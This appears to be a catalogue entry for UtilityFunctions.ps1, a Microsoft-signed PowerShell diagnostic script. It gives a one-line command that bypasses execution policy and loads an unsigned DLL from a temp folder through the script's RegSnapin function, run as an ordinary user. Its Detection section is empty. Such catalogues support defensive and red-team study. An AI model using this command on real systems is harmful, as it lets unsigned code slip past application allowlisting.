UtilityFunctions.ps1

PowerShell Diagnostic Script

Paths

  • C:\Windows\diagnostics\system\Networking\UtilityFunctions.ps1

Commands

Execute

Proxy execute Managed DLL with PowerShell

Use case: Execute proxied payload with Microsoft signed binary

Privileges: User

powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"

Detection

Resources